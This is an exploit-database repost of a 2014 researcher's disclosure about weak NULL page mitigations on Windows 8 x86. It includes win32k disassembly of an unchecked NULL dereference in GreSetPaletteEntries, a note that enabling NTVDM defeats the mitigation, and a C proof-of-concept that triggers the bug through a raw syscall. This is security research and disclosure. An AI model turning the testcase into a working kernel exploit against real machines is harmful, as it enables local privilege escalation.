LL Page Mitigations On Windows 8 x86



EKU-ID: 4060 CVE: OSVDB-ID:
Author: Tavis Ormandy Published: 2014-05-23 Verified: Verified
Download:

Rating

☆☆☆☆☆
Home


/*

Apparently I'm being lured into pointless discussions today, so here's another.

As I'm sure everyone is aware, Microsoft introduced basic NULL page
mitigations for Windows 8 (both x86 and x64), and even backported the
mitigation to Vista+ (On x64 only). There are some weaknesses, but
this is a topic for another time.

Interestingly, on Windows 8 x86, there is an intentional exception, if
an Administrator has installed the 16bit subsystem the mitigation is
worthless because you can run your exploit in the context of NTVDM
(simply use the technique I documented in CVE-2010-0232
http://www.exploit-db.com/exploits/11199/).

An Administrator can do this either on-demand by running an 16bit program, e.g.

C:\> debug

Or using fondue to install it manually:

C:\> fondue /enable-feature:ntvdm /hide-ux:all

Let's look at an example of a NULL dereference. It's obvious from the
code that win32k!GreSetPaletteEntries doesn't validate the MDCOBJA
call succeeds in the HDC list traversal, resulting in a very clean
NULL dereference.

.text:001EAF49                 lea     esi, [ebp+var_2C]            ;
out pointer
.text:001EAF4C                 call    ??0MDCOBJA@@QAE@PAUHDC__@@@Z ;
MDCOBJA::MDCOBJA(HDC__ *)
.text:001EAF51                 push    1
.text:001EAF53                 mov     edx, edi
.text:001EAF55                 call    _GreGetObjectOwner@8 ;
GreGetObjectOwner(x,x)
.text:001EAF5A                 mov     esi, eax
.text:001EAF5C                 call
ds:__imp__PsGetCurrentProcessId@0 ; PsGetCurrentProcessId()
.text:001EAF62                 and     eax, 0FFFFFFFCh
.text:001EAF65                 cmp     esi, eax
.text:001EAF67                 jnz     short loc_1EAFBA
.text:001EAF69                 and     [ebp+ms_exc.registration.TryLevel], 0
.text:001EAF6D                 mov     eax, [ebp+var_2C]            ;
load pointer
.text:001EAF70                 mov     ecx, [eax+38h]               ;
NULL dereference
.text:001EAF73                 mov     eax, [ecx+4]

Callers like GreIsRendering, GreSetDCOrg, GreGetBounds, etc, etc check
correctly for comparison. This better code is from win32k!GreSetDCOrg:

.text:00213DA2                 lea     esi, [ebp+var_C]             ;
out pointer
.text:00213DA5                 xor     ebx, ebx
.text:00213DA7                 call    ??0MDCOBJA@@QAE@PAUHDC__@@@Z ;
MDCOBJA::MDCOBJA(HDC__ *)
.text:00213DAC                 mov     edi, [ebp+var_C]             ;
load result
.text:00213DAF                 test    edi, edi                     ;
check for NULL
.text:00213DB1                 jz      short loc_213E15             ; error

This bug can be triggered with typical resource exhaustion patterns
(see my exploit for CVE-2013-3660 for reference
http://www.exploit-db.com/exploits/25912/). However, I have also
stumbled onto a Windows 8 specific technique that does not require
resource exhaustion, using the (undocumented) Xferable object flag.
See the attached code (the testcase is Windows 8+ on x86 specific,
although the bug affects other versions and platforms).

This seems exploitable on 32bit systems prior to Windows 8, but on
Windows 8 it's only exploitable (ignoring mitigation failures) with
NTVDM configured.

It's my understanding that Microsoft no longer consider this a
supported configuration, and are only interested in fixing NULL page
mitigation bypasses.

I'm not convinced this is a reasonable stance, what do other people think?

Tavis.

P.S. I think linux introduced it's mmap_min_addr mitigation to stable
around 2007? Seven years lag, I guess that's the power of the SDL ;-)
--
-------------------------------------
taviso@cmpxchg8b.com | pgp encrypted mail preferred
-------------------------------------------------------
*/

#ifndef WIN32_NO_STATUS
# define WIN32_NO_STATUS
#endif
#include <windows.h>
#include <assert.h>
#include <stdio.h>
#include <winerror.h>
#include <winternl.h>
#include <stddef.h>
#include <winnt.h>
#ifdef WIN32_NO_STATUS
# undef WIN32_NO_STATUS
#endif
#include <ntstatus.h>

#pragma comment(lib, "gdi32")
#pragma comment(lib, "user32")

#define __NR_NtGdiMakeObjectXferable (0x1000+0x037B)

// GreSetPaletteEntries NULL pointer dereference testcase.
//
// This testcase is Windows 8 specific (uses Xferable Objects), but the bug can
// be triggered without that feature in a more complicated way.
//
// Tavis Ormandy -- taviso@cmpxchg8b.com Feb 2014.

NTSTATUS SystemCall(DWORD Number, PVOID Args, ...)
{
    NTSTATUS Status;

    SetLastError(0);

    __try {
        __asm {
            mov     eax, Number
            lea     edx, Args
            int     0x2e
            mov     Status, eax
        }
    } __except(EXCEPTION_EXECUTE_HANDLER) {
        return GetExceptionCode();
    }
    return Status;
}

 

int main(int argc, char **argv)
{
    HPALETTE        Palette;
    HDC             Device;
    LOGPALETTE      LogPalette = {
        768,            // Version
          1,            // NumEntries
          {
            255,        // R
            255,        // G
            255,        // B
            PC_EXPLICIT // Flags
          },
    };

    Device  = GetDC(NULL);
    Palette = CreatePalette(&LogPalette);

    SelectPalette(Device, Palette, FALSE);

    // Make the DC screen xferable, this makes locking fail.
    // I don't know what this is used for, a breakpoint on
    // win32k!NtGdiMakeObjectXferable, never hits during normal usage but it
    // serves the purpose here well enough.
    SystemCall(__NR_NtGdiMakeObjectXferable, Device, GetCurrentProcess());

    SelectPalette(Device, Palette, TRUE);
    SetPaletteEntries(Palette, 0, 0, NULL);

    return 0;
}